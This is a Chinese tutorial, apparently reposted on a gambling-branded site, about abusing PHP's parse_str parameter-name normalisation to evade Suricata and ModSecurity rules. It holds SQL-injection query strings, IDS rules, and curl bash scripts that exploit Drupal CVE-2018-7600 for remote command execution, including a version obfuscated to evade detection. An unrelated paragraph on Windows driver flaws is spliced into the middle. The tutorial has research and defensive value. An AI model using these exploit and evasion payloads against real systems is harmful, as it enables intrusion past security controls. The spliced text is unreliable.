应用PHP剖析字符串函数parse_str($_GET,$_POST,$_COOKIE都是基于parse_str函数)的特征来绕过IDS、IPS和WAF | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

应用PHP剖析字符串函数parse_str($_GET,$_POST,$_COOKIE都是基于parse_str函数)的特征来绕过IDS、IPS和WAF

申博_新闻事件 申博 17次浏览 未收录 0个评论

应用PHP剖析字符串函数parse_str($_GET,$_POST,$_COOKIE都是基于parse_str函数)的特征来绕过IDS、IPS和WAF

尽人皆知,PHP将查询字符串(在URL或正文中)转换为$_GET或$_POST中的关联数组。比方:/ ?foo=bar被转换为Array([foo] => “bar”)。查询字符串剖析历程运用下划线删除或替换参数称号中的某些字符。比方/?%20news[id%00=42被转换为Array([news_id] => 42)。假如IDS / IPS或WAF在news_id参数中有一个用于阻挠或纪录非数字值的划定规矩,则可以经由过程滥用此剖析历程来绕过它,比方:/news.php?%20news[id%00=42″+AND+1=0–,在PHP中,%20news[id%00中的参数称号的值将存储到$_GET[“news_id”]。

PHP需要将一切参数转换为一个有用的变量名,所以当剖析查询字符串时,它主要做两件事:

1.删除初始空格;

2.将一些字符转换为下划线(包含空格)。

比方:

应用PHP剖析字符串函数parse_str($_GET,$_POST,$_COOKIE都是基于parse_str函数)的特征来绕过IDS、IPS和WAF

经由过程简朴轮回,你可以运用parser_str函数发明哪一个字符被删除或转换为下划线:

应用PHP剖析字符串函数parse_str($_GET,$_POST,$_COOKIE都是基于parse_str函数)的特征来绕过IDS、IPS和WAF

parse_str.php运转

parse_str用于get、post和cookie。假如你的web服务器接收带有点或空格的题目称号,那末题目也会发作相似的状况。我已实行了三次上面的轮回,罗列参数称号两头的了从0到255的一切字符,效果以下:

[1st]foo_bar

foo[2nd]bar

foo_bar[3rd]应用PHP剖析字符串函数parse_str($_GET,$_POST,$_COOKIE都是基于parse_str函数)的特征来绕过IDS、IPS和WAF

应用PHP剖析字符串函数parse_str($_GET,$_POST,$_COOKIE都是基于parse_str函数)的特征来绕过IDS、IPS和WAF

在上述计划中,foo%20bar和foo+bar是等价的,并被剖析为foo bar。

Suricata

suricata是一款开源高性能的入侵检测体系,并支撑ips(入侵防备)与nsm(收集平安监控)形式,用来替换原有的snort入侵检测体系,完整兼容snort划定规矩语法和支撑lua剧本。

关于生手来讲,Suricata是一个“开源、成熟、疾速和壮大的收集要挟检测引擎”,其引擎可以及时举行入侵检测(IDS)、内联入侵防备(IPS)、收集平安监控(NSM)和离线pcap处置惩罚。

运用Suricata,你以至可以定义一个搜检HTTP流量的划定规矩。假定你定义了以下如许一个划定规矩:

alert http any any -> $HOME_NET any (\
    msg: "Block SQLi"; flow:established,to_server;\
    content: "POST"; http_method;\
    pcre: "/news_id=[^0-9]+/Pi";\
    sid:1234567;\
)

此划定规矩会搜检news_id是不是具有非数字值,在PHP中,可以轻松绕过滥用其查询字符串剖析器,以下所示:

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

在GitHub上搜刮时,我发明了有很多针对PHP的Suricata划定规矩可以经由过程替换下划线,在被搜检的参数称号中增加空字节或空格来绕过。详细示例,请点此。

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

正如我们之前看到的那样,可以经由过程以下体式格局绕过:

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

说实话,转变参数位置就足够了:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

WAF (ModSecurity)

Win10安全警告:超40个驱动中存在安全漏洞

在计算机中,硬件是软件的基础。而驱动就起着让操作系统认识硬件组件和与之交互的作用。驱动代码可以让操作系统内核和硬件进行通信,比普通用户和系统管理员的权限要更高一些。 因此,驱动中的漏洞是一个非常严重的问题,因为一旦被恶意攻击者利用,就可以可以访问kernel,并获取操作系统的最高权限。 因为驱动也被用来更新硬件固件,因此可以到达更底层的组件,并修改其工作的方式,甚至使其变砖。 比如,BIOS和UEFI固件都是低级的软件但是都是在操作系统启动之前启动的。在这些固件中植入恶意软件的话,大多数安全解决方案都是无法检测和移除的,甚至重装系统也无法移除。 驱动是不安全 Eclypsium安全研究人员研究发现,有超过20个厂商的40个驱动中存在安全漏洞,攻击者可以滥用这些漏洞实现

PHP查询字符串剖析器也能够被滥用以绕过WAF划定规矩,设想一下ModSecurity划定规矩,SecRule !ARGS:news_id “@rx ^[0-9]+$” “block”明显很轻易运用雷同的绕过手艺。荣幸的是,在ModSecurity中,你可以经由过程正则表达式指定查询字符串参数。比方:SecRule !ARGS:/news.id/ “@rx ^[0-9]+$” “block”。

这将阻挠一切以下要求:

⛔️/?news[id=1%22+AND+1=1--'
⛔️/?news%5bid=1%22+AND+1=1--'
⛔️/?news_id%00=1%22+AND+1=1--'

PoC 

让我们用Suricata和Drupal CMS建立一个PoC,以应用CVE-2018-7600。CVE-2018-7600,该破绽存在于浩瀚Drupal版本中,进击者可以运用此破绽强迫运转Drupal的服务器,并实行能够伤害Drupal装置的恶意代码。依据详细设置的差别,这也很能够会危及到主机。为了简朴起见,我将在两个docker容器上运转Suricata和Drupal,并尝试从Suricata容器中应用Drupal。

我将激活关于Suricata的两条划定规矩:

1.阻挠form_id=user_register_form的自定义划定规矩;

2.CVE-2018-7600的 Positive Technologies Suricata划定规矩。

应用PHP剖析字符串函数parse_str($_GET,$_POST,$_COOKIE都是基于parse_str函数)的特征来绕过IDS、IPS和WAF

装置Suricata时,根据说明来即可,而关于Drupal,我运转了vulhub容器,你可以在这里找的它,Vulhub是一个基于docker和docker-compose的破绽环境鸠合,进入对应目次并实行一条语句即可启动一个全新的破绽环境,让破绽复现变得越发简朴,让平安研究者越发专注于破绽道理自身。

应用PHP剖析字符串函数parse_str($_GET,$_POST,$_COOKIE都是基于parse_str函数)的特征来绕过IDS、IPS和WAF

起首,让我们试着应用CVE-2018-7600,起首建立一个实行curl的bash剧本。

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

正如你所看到的,上面的剧本实行命令id。我们来尝尝吧:

应用PHP剖析字符串函数parse_str($_GET,$_POST,$_COOKIE都是基于parse_str函数)的特征来绕过IDS、IPS和WAF

Drupal CVE-2018-7600被应用

如今让我们尝试在Suricata中导入以下两条划定规矩:我编写了第一条划定规矩,它只是试图婚配要求正文中的form_id=user_register_form;Positive Technology编写了第二个,并婚配要求URL中的/user/register和要求正文中的#post_render之类的内容。

第一条划定规矩:

alert http any any -> $HOME_NET any (\
  msg: "Possible Drupalgeddon2 attack";\
  flow: established, to_server;\
  content: "/user/register"; http_uri;\
  content: "POST"; http_method;\
  pcre: "/form_id=user_register_form/Pi";\
  sid: 10002807;\
  rev: 1;\
)

第二条划定规矩:

alert http any any -> $HOME_NET any (\
  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
  flow: established, to_server; \
  content: "/user/register"; http_uri; \
  content: "POST"; http_method; \
  content: "drupal"; http_client_body; \
  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
  reference: cve, 2018-7600; \
  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
  classtype: attempted-admin; \
  reference: url, github.com/ptresearch/AttackDetection; \
  metadata: Open Ptsecurity.com ruleset; \
  sid: 10002808; \
  rev: 2; \
)

重新启动Suricata后,我想知道上面的两条划定规矩是不是会阻拦我的进击。

可以看出,我们有两个Suricata日记:

1.经由过程注册表(CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080实行的ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE;

2.能够的Drupalgeddon2进击 [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080。

胜利绕过!

这两条划定规矩都很轻易绕过,我们已看到了怎样绕过滥用PHP查询字符串剖析器的划定规矩。我们可以将form_id = user_register_form替换为:form%5bid=user_register_form。

应用PHP剖析字符串函数parse_str($_GET,$_POST,$_COOKIE都是基于parse_str函数)的特征来绕过IDS、IPS和WAF

可以看到,只要第二条划定规矩婚配。剖析第二条划定规矩的正则表达式,我们可以看到它婚配#和他的编码版本%23。因为它没有婚配下划线字符的编码版本,所以,我们可以经由过程运用post%5frender而不是post_render来绕过它。

这两个划定规矩都可以被以下破绽绕过:

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

原文地点: https://www.4hou.com/web/19331.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明应用PHP剖析字符串函数parse_str($_GET,$_POST,$_COOKIE都是基于parse_str函数)的特征来绕过IDS、IPS和WAF
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址